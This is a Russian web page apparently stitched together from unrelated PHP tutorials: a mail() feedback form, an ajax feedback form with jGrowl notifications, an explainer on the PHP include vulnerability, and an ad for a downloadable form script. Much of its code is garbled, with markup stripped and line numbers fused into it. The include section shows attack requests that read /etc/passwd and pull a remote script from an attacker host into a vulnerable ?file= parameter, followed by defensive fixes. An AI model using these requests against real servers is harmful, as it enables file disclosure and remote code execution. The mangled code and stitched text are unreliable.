На этом уроке мы познакомимся с функцией mail () , на примере создания формы обратной связи на PHP с последующей отправкой полученных данных на почту.

Для этого создадим два файла - forma.php и mail.php . В первом файлике будет находиться только форма с полями для ввода пользователем данных. Внутри тега form - кнопка "Отправить" и атрибут action , который ссылается на обработчик - mail.php , именно к нему обращаются данные из формы при нажатии кнопки "Отправить" . В нашем примере данные формы отправляются на веб-страницу с названием «/mail.php» . На этой странице прописан скрипт на PHP , который обрабатывает данные формы:


Данные формы отправляются методом POST (обрабатывается как $ _POST ). $ _POST - это массив переменных, переданных текущему скрипту через метод POST .

Ниже вы видите содержимое файла forma.php , поля которой заполняет сам пользователь на каком-нибудь веб-сайте. Все поля для ввода данных обязательно должны иметь атрибут name , значения мы прописываем сами, исходя из логики.




Форма обратной связи на PHP с отправкой на почту


Форма обратной связи на PHP





Оставьте сообщение:
Ваше имя:



E-mail:

Номер телефона:

Сообщение:

Текстовая область может содержать неограниченное количество символов-->







Так форма визуально выглядет в браузере.

Далее пишем код для файла mail.php . Придумываем сами имена для переменных. В PHP переменная начинается со знака $ , а затем имя переменной. Текстовое значение переменной заключается в кавычки. С помощью переменных на емайл администратора передается содержимое формы, просто подставив в квадратные скобки имя элемента формы - значение name .

Таким образом данные из массива $_POST будут переданы соответствующим переменным и отправлены на почту при помощи функции mail . Давайте заполним нашу форму и нажмем кнопку отправить. Не забудьте указать ваш е-майл. Письмо пришло моментально.

Почти на каждом сайте есть форма обратной связи. И конечно же различных реализаций очень много. В этой статье мы напишем форму обратной связи, в которой будет использоваться HTML5 валидация, всплывающие оповещения со звуком. Ну и конечно сам запрос будет отправляться с помощью ajax. К тому же пример будет предусматривать два варианта обработки запроса: через ajax и обычным POST запросом. В случае POST запроса будут использоваться flash сообщения, основанные на сессии. Подробнее под катом…

Итак, наш проект будет имееть следующую структуру:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 . ├── css │ ├── jquery.jgrowl.css │ ├── main.css │ └── normalize.css ├── images │ └── jgrowl.close.png ├── protected │ ├── bootstrap.php │ ├── flashes.php │ ├── func.php │ └── session.php ├── sounds │ ├── notice.mp3 │ └── notice.ogg ├── feedback.php └── index.php

В файле index.php будет находиться форма обратной связи. После заполнения формы и нажатия пользователем кнопки отправить, будет отправляться ajax запрос на скрипт feedback.php . Который в свою очередь, обработав запрос, будет возвращать результат. Тут есть нюанс. Скрипт проверяет какой пришел запрос и в зависимости от этого, или возвращает результат в виде json или записывает flash сообщение в сессию с последующим перенаправлением обратно на index.php. То есть в случае каких либо ошибок в javascript запрос все равно будет обрабатываться путем простого POST запроса. Да и программист в таком случае имеет гибкий инструмент, который позволяет всегда отказаться от ajax.

Flash сообщения это вид данных в сессии, который стирается после их первого востребования. Является очень удобным инструментом для передачи сообщений между запросами.

Чтобы не усложнять верстку, а также унифицировать извещения для пользователя, в примере используются всплывающие growl сообщения на подобии, что применяются в OSX. Для этого используется хороший jQuery плагин jGrowl , который имеет гибкую систему настройки и стилизации.

Итак, начнем с HTML:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 Форма обратной связи Обратная связь Имя: Адресс эл.почты: Сообщение: Отправить //some code

Как видно из приведенного кода выше. В примере не используется . Просто для таких вещей это вовсе не обязательно. Все равно данные будут проходить валидацию на сервере.

JavaScript :

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 $(document) .ready (function () { buzz.defaults .formats = [ "ogg" , "mp3" ] ; buzz.defaults .preload = true ; if (buzz.isSupported () ) { var noticeSound = new buzz.sound ("sounds/notice" ) ; } $.jGrowl .defaults .position = "top-right" ; $.jGrowl .defaults .closer = false ; $.jGrowl .defaults .beforeOpen = function (e, m, o) { if (noticeSound) noticeSound.play () ; } ; $("form#feedback-form" ) .on ("submit" , function (e) { e.preventDefault () ; $(this ) .ajaxSubmit ({ dataType: "json" , success: function (response) { $.jGrowl (response.message , { theme: response.type } ) ; if (response.type == "success" ) $("form#feedback-form" ) [ 0 ] .reset () ; } , error: function () { $("form#feedback-form" ) .unbind ("submit" ) .submit () ; } } ) } ) ; } ) ;

Код выше предельно понятен. Настройка вывода уведомлений и проигрывания звука. А также реализация работы формы через без перезагрузки страницы при помощи библиотеки ajaxForm .

Теперь преступим к реализации обработки запросов:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 //feedback.php require __DIR__ . "/protected/bootstrap.php" ; if (! IS_POST() ) { stopAndResponseMessage( "error" , "Скрипт принимает только POST запросы!" ) ; } $name = _POST("name" ) ; $email = _POST("email" , false ) ; $message = _POST("message" ) ; if (! $name || ! $email || ! $message ) { stopAndResponseMessage( "error" , "Не все обязательные поля были заполнены!" ) ; } // check captcha and csrf token if (! isEmail($email ) ) { stopAndResponseMessage( "error" , "Адрес эл. почты плохой!" ) ; } if (mb_strlen ($message ) _e($type ) , "message" => _e($message ) ) ) ; exit ; } Flashes:: add (_e($type ) , _e($message ) ) ; stopAndRedirect("index.php" ) ; }

Самое важное место в скрипте это функция stopAndResponseMessage, которая и является гибгим механизмом обработки запроса. Она возвращает json ответ в случае ajax запроса или использует flash сообщения при простом POST запросе. На данном этапе может быть не понятно как реализованы flash сообщения. Но так как статья уже довольно таки большая, разобраться в этом вопросе читателю предстоит самостоятельно. Используя исходные коды конечно же. Все реализованно в файле protected/flashes.php .

В этой статье я расскажу вам об одной из самых распространённых уязвимостей, встречающихся в php-сценариях — include "баге". Вы узнаете как принцип действия, так и некоторые способы устранения данной уязвимости.

Внимание!!! Вся информация представленная в данной статье служит чисто в ознакомительных целях! Автор не несёт никакой ответственности за её злонамеренное применение!

Уязвимость php — include одна из самых известных, но между тем и самых распространённых "дыр" встречающихся сегодня в php сценариях. Она возникает, когда по невнимательности, незнанию, либо по какой-то другой ведомой только ему одному причине, программист позволяет использовать данные, переданные сценарию в виде параметров, без дополнительной проверки (такие данные ещё называют "мечеными") в качестве параметра функцией include. Для того, чтобы лучше разобраться в принципе действия данной уязвимости, необходимо иметь некоторое представление о вышеназванной функции.

php функция include, а также include_once

Данная функция используется для подключения к запущенному php сценарию дополнительных программных модулей. Причём, в отличие от похожей по свойствам require, функция include исполняет эти модули непосредственно в своём процессе. А следовательно, прикрепляемые таким образом модули будут исполняться не как отдельные сценарии, а как части подключившего их к себе сценария. Точнее, include будет исполнять только ту часть файла, которая заключена между спец. тэгами:

""

Всё остальное php просто выдаёт в виде текста. Т.е. если подключить текстовый файл (например: /etc/passwd 🙂) не содержащий указанных тэгов, всё содержимое этого файла будет выдано интерпретатором.

Пример вызова:

Как вы наверное заметили, функция include имеет всего 1 параметр ($file), который указывает путь и имя файла подключаемого модуля. Стоит отметить также, что в юниксоподобных системах (в зависимости от настроек php) в качестве параметра можно передавать не только путь и имя файла, но и url (Интернет адрес) файла(!!!).

Практика

Предположим, на некотором ВЕБ-сервере установлен следующий php сценарий (его url http://www.superpupersite.com/index.php):

А также множество различных подключаемых сценариев-модулей для него:

home.php
feedback.php

Автор этого сценария предполагал, что все посетители сайта будут мирно переходить от одной страницы к другой нажимая кнопочки, ссылочки и прочие объекты управления. А сценарий, в зависимости от переданного параметра file, будет присоединять один или другой модуль, таким образом генерируя различные html страницы (чаще всего include используют именно таким образом).

Примеры запросов:

http://www.superpupersite.com/index.php?file=home.php
http://www.superpupersite.com/index.php?file=feedback.php

Он даже представить себе не мог, что однажды (в студёную зимнюю пору) на сайт забредёт некий любознательный Вася Пупкин. Который, исходя из своей любознательности рассматривая эти самые ссылки, предположил бы (пока он ещё не знает, как и что там на самом деле), что параметр file является не чем иным, как имя и путь к файлу и что сценарий использует функцию include (не удивительно, т.к. на сегодня include используется чуть ли не в каждом 3-ем скрипте). Вася тут же решил проверить своё предположение следующим образом:

Сделал запрос вида: http://www.superpupersite.com/index.php?file=/etc/passwd
На выходе получил содержимое файла passwd сервера
П.С: Если на сервере в опциях php включен режим отладки, выявить подобную уязвимость не составляет особого труда по характерным сообщениям о ошибках (Вроде: "failed opening ‘filename’ for inclusion…"! Но в данном случае режим отладки был отключён (не всё коту масленица).

"Здорово! Вполне возможно что моё предположение по поводу include верно!"-подумал Вася. А также Вася заметил, что сервер работает под управлением юниксподобной операционной системы (там присутствует файл /etc/passwd). Из этого всего он сделал вывод, что возможно удастся внедрить свой php модуль, чтобы последний выполнялся на стороне сервера. Теперь, для осуществления своих зловещих планов, В.Пупкину необходим доступ позволяющий добавлять и редактировать файлы на каком-нибудь ВЕБ-сервере. К счастью, на сегодняшний день получить медленный, бесплатный хостинг не составляет особых проблем и у нашего героя уже был припасён на такие неожиданные 🙂 случаи жизни свой сайт http://pupkin.halava123.ru. Куда он предусмотрительно закачал сценарий следующего содержания:

Незатейливый, надо сказать, скрипт, выводящий в окно браузера список файлов и каталогов в текущей директории (но для проверки наличия уязвимости его хватит 🙂). Сценарий был размещён по адресу:

http://pupkin.halava123.ru/cmd.txt

Вася выполнил следующий запрос:

http://www.superpupersite.com/index.php?file=http://pupkin.halava123.ru/cmd.txt

И у него получилось! Как и задумывалось, в окне браузера он увидел список файлов и каталогов. Далее по нарастающей, "дыра" была обнаружена, и в ход пошли не менее интересные сценарии, подробное описание которых заняло бы немало места и по этим соображениям не публикуется здесь 🙂 В общем, долго ли, коротко ли, но закончилось всё дефейсом (дефейс — подмена начальной страницы на свою). Вот такая грустная история!

Борьба с вредителем

Прочитав всё вышеописанное, многие из вас задаются вопросом: "существуют ли методы борьбы с этой ужастной уязвимостью? ". "Да" — гордо отвечау я 🙂 . Вот некоторые (отнюдь не все) из них:

Самый простой способ, с точки зрения программирования, это преобразовать переменную $module в числовой формат (settype($module,”integer”)), но при этом придётся пронумеровать модули, а также собрать их в один каталог (“module1.php”, ”module2.php” …”module.php”).

Более сложный с точки зрения реализации метод борьбы с вредителями 🙂 — это создание отдельного файла-списка модулей, которые возможно запустить. И в зависимости, находится ли тот или иной модуль в списке, выполнять либо выдавать соответствующую ошибку (или запускать модуль по умолчанию или если Вы, хотите напугать «экспериментатора» выдать сообщение о том, что его адрес зафиксирован и чтоб он сушил сухари…).
Пример:

switch ($case) // $case - имя переменной передаваемой в параметре к скрипту { case news: include("news.php"); break; case articles: include("guestbook.php"); break; ... // и т.д. default: include("index.php"); // если в переменной $case не будет передано значение, которое учтено выше, то открывается главная страница break; }

Третий метод является промежуточным- что-то среднее между 1-ым и 2-ым. Вам просто надо заменить все служебные символы ("..","/","") например, на прочерки. Правда, модули (там должны располагаться только выполняемые модули и ничего кроме них!!!) в этом случае должны располагаться в одном каталоге, но их названия могут быть нормальными словами (например “news”, ”guestbook” и т.д.).
Заключение

Вот в общем-то и всё, что я хотел рассказать вам в этот раз. Вывод из этого всего может быть такой: прежде чем используете данные полученные от пользователя в ваших web сценариях подумайте, а не надо ли их предварительно проверить и надлежащим образом обработать. Это касается не только полей данных формы передаваемых браузером (методы get и post), но и cookie (злоумышленник может добраться и до них).

Хорошо Плохо

Не секрет, что очень часто приходится как-то общаться с посетителями своего сайта. Разумеется, можно просто дать свой e-mail (как сделал я), а можно предложить и другой способ - это форма обратной связи . Разумеется, здесь потребуется знание PHP . Но чтобы Вам не надо было писать всё с нуля, я предоставляю Вам очень даже хороший скрипт формы обратной связи .

После скачивания извлекайте архив на Ваш сайт (смотрите, ничего не сотрите у себя). Теперь давайте его настроим. Для этого открываем файл "config.php ". И меняем значения следующих переменных:

  • "mailto " - поставьте вместо "[email protected] " адрес своего почтового ящика.
  • "charset " - поставьте кодировку, хотя если Ваш сайт русскоязычный, то можете оставить "windows-1251 ".
  • "content " - советую оставить "text/plain ", так как вряд ли Ваши посетители будут отправлять Вам сообщения в HTML-формате .
  • Теперь Вы можете запустить файл index.php у скрипта. В результате, перед Вами возникнет форма. Можете её заполнить и отправить письмо.

    Теперь встаёт вопрос: "Как вставить эту форму обратной связи на свой сайт? ". Чтобы это сделать, найдите файл, который отвечает у Вас за страницу обратной связи (пусть это будет "feedback.html "). Сразу измените расширение на php (то есть на "feedback.php "). Скопируйте код из index.php скрипта в файл со страницей обратной связи (feedback.php ). Теперь Вы можете делать всё, что пожелаете нужным между тегами и , только не стирайте то, что Вы вставили из index.php . То что между тегов тоже не трогайте, если точно не знаете, что делаете.

    И, наконец, если Вам не нравится внешний вид формы, то Вы можете его подкорректировать в файле "styling.css ".

    Если у Вас остались какие-либо вопросы, либо происходят какие-то глюки со скриптом (я его не тестировал), то пишите мне на e-mail , чтобы я исправил.

    Чтобы не зависеть от работы чужих скриптов, научитесь их создавать самостоятельно. Этому Вас научит мой Видеокурс "PHP и MySQL с Нуля до Гуру ":